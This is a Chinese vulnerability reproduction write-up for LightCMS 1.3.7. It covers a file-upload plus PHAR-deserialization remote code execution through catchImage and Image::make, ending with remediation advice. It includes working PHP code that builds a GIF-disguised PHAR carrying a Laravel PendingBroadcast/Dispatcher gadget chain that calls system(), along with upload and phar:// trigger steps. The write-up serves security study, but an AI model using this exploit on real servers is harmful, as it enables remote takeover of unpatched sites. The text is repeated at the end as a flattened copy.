LightCMS 文件上传&&phar反序列化rce漏洞复现
字数 1134 2025-08-05 11:39:37

LightCMS 文件上传与PHAR反序列化RCE漏洞分析

漏洞概述

LightCMS 1.3.7版本存在一个结合文件上传与PHAR反序列化的远程代码执行漏洞。攻击者可以通过精心构造的恶意文件上传,触发PHAR反序列化,最终实现远程代码执行。

环境准备

  • PHPStorm + PHP 7.3 + Xdebug
  • LightCMS 1.3.7版本

漏洞分析

文件上传功能

LightCMS提供了文件上传功能,主要涉及以下方法:

  1. uploadImage - 上传图片
  2. uploadVideo - 上传视频
  3. uploadFile - 上传文件

文件上传限制

/config/light.php中配置了允许上传的文件类型:

'upload' => [
    'image' => ['jpg', 'jpeg', 'png', 'gif', 'webp'],
    'video' => ['mp4', 'webm'],
    'file' => ['pdf', 'doc', 'docx', 'xls', 'xlsx', 'ppt', 'pptx', 'zip', 'rar']
]

关键漏洞点 - catchImage方法

catchImage方法在1.3.5之前的版本存在漏洞,修复后添加了fetchImageFile方法进行安全检查。

fetchImageFile方法分析

public function fetchImageFile($url)
{
    if (!filter_var($url, FILTER_VALIDATE_URL)) {
        return false;
    }
    
    $data = $this->getUrl($url);
    if ($data === false) {
        return false;
    }
    
    if ($this->isWebp($data)) {
        return $data;
    } else {
        return Image::make($data);
    }
}

关键点:

  1. 首先验证URL格式
  2. 使用curl获取URL内容
  3. 检查是否为webP格式
  4. 如果不是webP格式,则使用Image::make($data)处理

漏洞触发链

  1. 攻击者上传一个包含PHAR元数据的恶意GIF文件
  2. 通过catchImage方法触发文件处理
  3. Image::make($data)内部会调用initFromUrl方法
  4. initFromUrl方法使用file_get_contents处理数据,可触发PHAR反序列化

PHAR反序列化利用

PHAR(PHP Archive)文件包含序列化的元数据,当通过phar://协议访问时,PHP会自动反序列化这些元数据。

利用条件

  1. 能够上传文件到服务器
  2. 服务器上有可用的反序列化链(gadget chain)
  3. 有触发PHAR反序列化的点(如file_get_contents

漏洞利用链

LightCMS使用Laravel 6框架,存在已知的反序列化利用链:

Illuminate\Broadcasting\PendingBroadcast -> __destruct()
    -> $this->events->dispatch()
        -> Illuminate\Events\Dispatcher -> dispatch()
            -> 调用用户可控的$listeners中的函数

漏洞利用

1. 生成恶意PHAR文件

<?php
namespace Illuminate\Broadcasting
{
    use  Illuminate\Events\Dispatcher;
    class PendingBroadcast
    {
        protected $events;
        protected $event;
        public function __construct($cmd)
        {
            $this->events = new Dispatcher($cmd);
            $this->event=$cmd;
        }
    }
}

namespace Illuminate\Events
{
    class Dispatcher
    {
       protected $listeners;
       public function __construct($event){
           $this->listeners=[$event=>['system']];
       }
    }
}

namespace{
    $phar = new Phar('phar.phar');
    $phar -> startBuffering();
    $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
    $o = new Illuminate\Broadcasting\PendingBroadcast($argv[1]);
    echo base64_encode(serialize($o));
    $phar -> setMetadata($o);
    $phar -> addFromString('test.txt','test');
    $phar -> stopBuffering();
}

2. 上传恶意文件

将生成的PHAR文件后缀改为.gif后上传。

3. 触发反序列化

访问上传的文件路径,使用phar://协议:

phar://./upload/image/202105/IWacvAi8HW9bb6PMdmyURxQSy12tVgp2sevOUXV5.gif

修复建议

  1. 严格限制上传文件的类型和内容
  2. 禁用不必要的PHP协议,如phar://
  3. 更新Laravel框架到最新版本
  4. 对用户提供的URL进行更严格的验证

总结

该漏洞结合了文件上传和PHAR反序列化两个攻击面,利用Laravel框架中的反序列化链实现远程代码执行。关键在于catchImage方法中的Image::make($data)调用,最终通过file_get_contents触发PHAR反序列化。

LightCMS 文件上传与PHAR反序列化RCE漏洞分析 漏洞概述 LightCMS 1.3.7版本存在一个结合文件上传与PHAR反序列化的远程代码执行漏洞。攻击者可以通过精心构造的恶意文件上传,触发PHAR反序列化,最终实现远程代码执行。 环境准备 PHPStorm + PHP 7.3 + Xdebug LightCMS 1.3.7版本 漏洞分析 文件上传功能 LightCMS提供了文件上传功能,主要涉及以下方法: uploadImage - 上传图片 uploadVideo - 上传视频 uploadFile - 上传文件 文件上传限制 在 /config/light.php 中配置了允许上传的文件类型: 关键漏洞点 - catchImage方法 catchImage 方法在1.3.5之前的版本存在漏洞,修复后添加了 fetchImageFile 方法进行安全检查。 fetchImageFile方法分析 关键点: 首先验证URL格式 使用curl获取URL内容 检查是否为webP格式 如果不是webP格式,则使用 Image::make($data) 处理 漏洞触发链 攻击者上传一个包含PHAR元数据的恶意GIF文件 通过 catchImage 方法触发文件处理 Image::make($data) 内部会调用 initFromUrl 方法 initFromUrl 方法使用 file_get_contents 处理数据,可触发PHAR反序列化 PHAR反序列化利用 PHAR(PHP Archive)文件包含序列化的元数据,当通过 phar:// 协议访问时,PHP会自动反序列化这些元数据。 利用条件 能够上传文件到服务器 服务器上有可用的反序列化链(gadget chain) 有触发PHAR反序列化的点(如 file_get_contents ) 漏洞利用链 LightCMS使用Laravel 6框架,存在已知的反序列化利用链: 漏洞利用 1. 生成恶意PHAR文件 2. 上传恶意文件 将生成的PHAR文件后缀改为 .gif 后上传。 3. 触发反序列化 访问上传的文件路径,使用 phar:// 协议: 修复建议 严格限制上传文件的类型和内容 禁用不必要的PHP协议,如 phar:// 更新Laravel框架到最新版本 对用户提供的URL进行更严格的验证 总结 该漏洞结合了文件上传和PHAR反序列化两个攻击面,利用Laravel框架中的反序列化链实现远程代码执行。关键在于 catchImage 方法中的 Image::make($data) 调用,最终通过 file_get_contents 触发PHAR反序列化。